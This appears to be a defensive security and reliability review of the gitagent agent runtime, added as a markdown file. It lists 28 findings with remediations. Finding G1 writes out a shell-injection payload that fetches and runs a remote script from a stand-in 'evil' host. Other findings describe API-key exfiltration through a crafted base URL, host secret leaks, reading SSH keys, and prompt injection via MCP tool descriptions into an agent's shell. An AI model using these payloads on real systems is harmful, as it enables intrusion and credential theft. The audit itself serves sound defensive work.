|
| 1 | +# gitagent — Gap Review |
| 2 | + |
| 3 | +**Scope:** `main` @ `d3e25d7` (published `@open-gitagent/gitagent@2.1.0`) |
| 4 | +**Method:** Five deep passes — 2× context-management, security/RCE, MCP robustness, lifecycle/resource/multi-tenant — plus engine/compat analysis against `@mariozechner/pi-agent-core` & `pi-ai` (installed 0.70.6, latest 0.73.1). Line references are to `main` at review time. |
| 5 | +**Status:** Findings only — no fixes applied. |
| 6 | + |
| 7 | +--- |
| 8 | + |
| 9 | +## Verdict |
| 10 | + |
| 11 | +gitagent ships the *vocabulary* of a safe, managed agent runtime — `abort`, `steer`, `maxTurns`, `constraints`, `compact.ts`, permission hooks, audit — but **~six of those are demonstrably disconnected**, the "agent = a git repo you fork and run" premise is a **load-time RCE/exfil vector**, and it under-uses the pi engine so badly that several capabilities it appears to "lack" are one config line away. Every reviewer independently flagged the **multi-tenant (JPMC per-employee) model as unsafe in a shared process**. |
| 12 | + |
| 13 | +--- |
| 14 | + |
| 15 | +## TIER 0 — Untrusted-repo RCE & data exfil (existential) |
| 16 | + |
| 17 | +- **G1 · Load-time shell-injection RCE.** `execSync(\`git clone "${manifest.extends}" ...\`)` (`loader.ts:182`, `:229`) and `execSync(\`git ${args}\`)` with `opts.session` (`session.ts:35,87`) interpolate untrusted `agent.yaml`/session fields. `extends: "$(curl evil.sh|sh)"` runs **on load, before any hook exists**. Fix already in-repo: `plugins.ts:162` uses `execFileSync` argv form. |
| 18 | +- **G2 · API-key + full-conversation exfiltration via `model@baseUrl`.** `anthropic:…@https://exfil/v1` (or `GITAGENT_MODEL_BASE_URL`) makes gitagent copy the host key into the request and ship every prompt/file to the attacker (`loader.ts:396-421`). One YAML string, no injection needed. |
| 19 | +- **G3 · Auto-spawn RCE.** Plugin `entry` is `import()`-ed and MCP `command` is spawned, auto-installed from a repo-declared `source` with no operator opt-in (`plugins.ts:241-252`, `mcp/manager.ts:168`, `sdk.ts:213`). `extends` can inject `mcp_servers` (deep-merged per-key → child `{command}` inherits parent `{args:[evil]}`). |
| 20 | +- **G4 · `${VAR}` interpolation leaks host secrets** into plugin config & MCP headers/URLs (`env-utils.ts:12`, `plugins.ts:76`, `mcp/manager.ts:142`) — a malicious `"${ANTHROPIC_API_KEY}"` value exfiltrates to the plugin/remote server. Credentialed MCP URLs also leak into `console.warn` (`manager.ts:199`). |
| 21 | +- **G5 · Safety hooks fail OPEN.** Every `executeHook` failure — no `sh` (Windows), crash, timeout, non-zero exit, non-JSON output — is swallowed → `allow` (`hooks.ts:139-154`). The one runtime gate inverts safe→unsafe. Default state = **no gate at all**. |
| 22 | +- **G6 · Zero filesystem/exec jail on main.** `read ~/.ssh/id_rsa`, `write ~/.ssh/authorized_keys`, unrestricted `cli` all work (`read/write/edit.ts:7`, `cli.ts:30`); the "sandbox" path resolver doesn't jail either (`shared.ts:117`). MCP tools have **no permission gate** — a server's tool *description* can prompt-inject into the builtin `cli` shell (`manager.ts:113`). |
| 23 | +- **G7 · Escapes & tamperable audit.** Symlink escape past the lexical hook guard (`hooks.ts:66`, no realpath); declarative-tool `script`/`runtime` escape with no containment (`tool-loader.ts:82`); audit is opt-in **and manifest-controlled**, agent-writable, logs secret args unredacted, and `logToolResult` is dead code (`audit.ts`). |
| 24 | + |
| 25 | +## TIER 1 — The runtime control surface is fake |
| 26 | + |
| 27 | +- **G8 · `query().abort()` is a no-op.** `ac` (`sdk.ts:93`) is wired to nothing; the Agent makes its own controller and `agent.abort()` is never called (CLI calls it correctly — `index.ts:836`). No kill switch: unbounded spend, e2b billing, un-killable subprocesses. |
| 28 | +- **G9 · `query().steer()` is an empty body** (`sdk.ts:610`) while `agent.steer()` works — mid-run corrections ("don't push that") silently vanish. |
| 29 | +- **G10 · `maxTurns` + all `constraints` (temp/max_tokens/topP) silently dropped.** `initialState` spread drops unknown keys (`sdk.ts:315`); the engine loop is `while(true)` with **no iteration cap**. `agent.yaml: max_turns: 56` is decoration; provider gets hardcoded `max_tokens = model.max/3`. |
| 30 | +- **G11 · Multi-turn `AsyncIterable` prompt broken.** `channel.finish()` fires on the *first* `agent_end` (`sdk.ts:485`); turns 2..N run headless, pushing into a dead buffer. The documented multi-turn API is broken **and untested**, and there's no `messages`/`resume` alternative. |
| 31 | +- **G12 · Early `break` doesn't cancel** — producer keeps running/billing; `return()`/`throw()` only `channel.finish()`, never abort (`sdk.ts:635`). |
| 32 | + |
| 33 | +## TIER 2 — No context management (session-killing) |
| 34 | + |
| 35 | +- **G13 · Zero context-window management; overflow bricks the session.** `compact.ts` is dead code; the engine's purpose-built `transformContext` hook is never passed (`sdk.ts:310`). Overflow → provider `stopReason:"error"`, no retry/truncate/fallback, and a **poison-pill empty-assistant message** makes every subsequent turn fail. REPL has no `/clear`. Ctrl+C mid-tool orphans a `tool_use` → permanent 400. |
| 36 | +- **G14 · Tool-result caps are per-call, inconsistent, and *absent* for SDK/plugin tools** (`toAgentTool` bypasses `buildTool` — `tool-utils.ts:15`). ~6–8 large `cli`/`read` results ≈ 200k tokens → G13. Nothing prunes old results. |
| 37 | +- **G15 · System prompt can blow the window before the first token** — unbounded SOUL/RULES/knowledge `always_load`/every `examples/*.md`, no length check vs `model.contextWindow` (`loader.ts:271-382`); custom models hardcode `contextWindow:128000` (an 8k local model lies). |
| 38 | +- **G16 · Token estimate is `chars/4`** — 33–54% under on JSON, ignores system prompt + tool schemas, hardcodes 200k, double-counts deltas (`compact.ts`). Exact per-turn `usage.input` is captured but used only for cost, never for an overflow guard. |
| 39 | + |
| 40 | +## TIER 3 — Leaks, crashes & multi-tenant unsafety |
| 41 | + |
| 42 | +- **G17 · Hook-block early-returns leak the e2b VM and leave the GitHub PAT in `.git/config`** (finalize/sandbox-stop live outside the `finally`, `sdk.ts:548-575`). PAT also on the `git clone` command line (`ps`-visible) and pushed *before* the scrub. |
| 43 | +- **G18 · `cli` timeout doesn't kill** (SIGTERM to `sh` only, no process-group/SIGKILL; settles on `close` not `exit`) → grandchildren survive, promise **hangs forever** → query never ends, span never exported, VM never stops (`cli.ts:40`). Output buffered unbounded before the 100k cap → OOM on `yes`. |
| 44 | +- **G19 · Non-LLM failures reported as success** — infra throws become `session_end:"Agent finished"` with a resolved promise (`sdk.ts:485`); schedulers/CI/audit record success for failed runs. |
| 45 | +- **G20 · Process-crash vectors:** unhandled rejection from `throw null` or a sync-throwing `onError` inside the `.catch` (`sdk.ts:589`); EPIPE crash when a hook script exits without reading stdin (`hooks.ts:92`, no `stdin.on('error')`). One tenant's bad hook kills every tenant. |
| 46 | +- **G21 · Scheduler self-destructs:** `runningJobs.delete` not in `finally` → a throw permanently wedges a schedule; cron callbacks aren't `.catch`-ed → process exit; far-future `once` schedules fire *immediately* (`setTimeout` >24.8d clamps to 1ms); `activeTasks`/`runningJobs` are module globals → cross-tenant collisions + orphaned untracked cron tasks (`schedule-runner.ts`). |
| 47 | +- **G22 · Cross-tenant bleed in one process:** `process.env.OPENAI_API_KEY = providerKey` global mutation (`loader.ts:415`) → tenant B authenticates with tenant A's key; telemetry is a global singleton (tenant B's spans → tenant A's collector *with A's auth headers*); MCP `SIGTERM` (docker/k8s default) skips cleanup → zombie children per container. |
| 48 | +- **G23 · Synchronous git blocks the whole event loop** (`execSync` clone/fetch/push in `session.ts`/`loader.ts`) → head-of-line blocking for every tenant in an embedding server. |
| 49 | + |
| 50 | +## TIER 4 — MCP robustness, cost, correctness, hygiene |
| 51 | + |
| 52 | +- **G24 · Cost = $0 for every gateway/custom-endpoint model** (`createCustomModel` hardcodes `cost:{0,0,0,0}`, `loader.ts:96`) — on the `localhost:8090` gateway setup, `q.costs()` and `gitagent.cost_usd` are permanently zero. Chargeback is fiction exactly where JPMC needs it. |
| 53 | +- **G25 · Mutating tools run in PARALLEL → file/git corruption.** Engine default `toolExecution:"parallel"`; gitagent sets its own ignored `isConcurrencySafe` but never `executionMode` (`tool-factory.ts:26`, `agent-loop.js:226`). Two `write`s / `edit`+`git commit` / `memory`-save race → `index.lock`, corrupt files, lost writes. |
| 54 | +- **G26 · MCP fragility:** `options.tools` bypass the collision check → duplicate name → provider 400 kills the session (a hostile server can pick colliding names = DoS, `sdk.ts:217`); `timeoutMs` ignored for `listTools` (hardcoded 30s); `listTools` is **serial** → 5 slow servers = 150s dead air before first token; failures are `console.warn`-only (invisible to model + stream); schema conversion flattens `$ref`/`oneOf`/dict-args to "no parameters" (`tool-loader.ts:27`); image/audio results discarded; `isError` not propagated (failure hooks blind); unbounded intake before truncation (multi-GB result → OOM). |
| 55 | +- **G27 · Memory/history hygiene:** `collectedMessages` retains every delta ~2× forever + channel has no backpressure (`sdk.ts:108`); chat-history JSONL grows unbounded with full-file **sync** reads on the hot path (`chat-history.ts`); `MEMORY.md` load is uncapped and `save` re-sends the whole file (2× tokens); `memory.ts:170` commit message escapes only `"` → **shell injection** on `` ` ``/`$()`. |
| 56 | +- **G28 · Stale/under-used engine.** Pinned `^0.70.2` (locked to 0.70.x; latest **0.73.1** — safe upgrade, `Agent`/`agent-loop` API byte-identical, adds current model IDs/providers/`thinkingLevelMap`). gitagent passes only `initialState` to `new Agent()` — unused: `transformContext` (compaction), `toolExecution`, `beforeToolCall/afterToolCall`, `thinkingBudgets`, `transport`, `maxRetryDelayMs`, `followUp`, `waitForIdle`, `getApiKey`. Note: parallel tools + retry are already built-in, *not* "own-the-loop" work. |
| 57 | + |
| 58 | +--- |
| 59 | + |
| 60 | +## Remediation order (highest leverage first) |
| 61 | + |
| 62 | +### Quick wins (hours, mostly 1–5 lines) |
| 63 | +1. `execFileSync` for all 3 git-injection sites (**G1**) |
| 64 | +2. Redact/ban the `@baseUrl` key-copy from untrusted manifests (**G2**) |
| 65 | +3. `stdin.on('error')` + make `pre_tool_use`/`on_session_start` hooks fail **closed** (**G5, G20**) |
| 66 | +4. `runningJobs.delete` in `finally` + `.catch` the cron callbacks (**G21**) |
| 67 | +5. Wire `ac` → `agent.abort()` and `steer` → `agent.steer()` (**G8, G9**) |
| 68 | +6. Call `mcpSetup.cleanup()` on `SIGTERM` (**G26**) |
| 69 | + |
| 70 | +### Structural (the real work) |
| 71 | +7. Wire `transformContext` → `truncateToolResults` + drop-oldest + a real `usage`-based token guard (**G13, G14, G16**); add `/clear` + `QueryOptions.messages`/`resume`. |
| 72 | +8. Realpath filesystem jail + `cli` allow/deny policy on main; gate plugin/MCP spawn + MCP tools behind operator opt-in / permissions (**G3, G6, G7**). |
| 73 | +9. Move `finalize`/sandbox-stop into `finally`; fix cleanup ordering; process-group kill + SIGKILL + settle-on-`exit` in `cli` (**G17, G18**). |
| 74 | +10. Multi-tenant: stop mutating `process.env`, per-instance telemetry, per-agentDir scheduler state — or **mandate process-per-tenant** for JPMC (**G22**). |
| 75 | +11. `executionMode:"sequential"` on mutating tools (**G25**); real cost table / gateway usage parsing (**G24**); bump pi to 0.73.x (**G28**). |
| 76 | + |
| 77 | +--- |
| 78 | + |
| 79 | +## Cross-cutting themes |
| 80 | + |
| 81 | +- **"Vocabulary without wiring":** `abort`, `steer`, `maxTurns`, `constraints`, `compact.ts`, `maxResultSizeChars` are all present in the API and disconnected from the runtime. |
| 82 | +- **Untrusted manifest = attacker input:** the "agents as repos" premise means `agent.yaml`/`extends`/plugins/`mcp_servers` are attacker-reachable; today loading one is RCE/exfil. |
| 83 | +- **Multi-tenant is unsafe in a shared process** (`process.env` mutation, telemetry & scheduler globals, sync git) — for the JPMC per-employee deployment the only current mitigation is process-per-tenant, and even that leaks on hangs. |
| 84 | +- **The engine is stronger than gitagent uses it** — compaction (`transformContext`), parallel tools, retry, steering, idle detection are all available in 0.70+ and unused. |
0 commit comments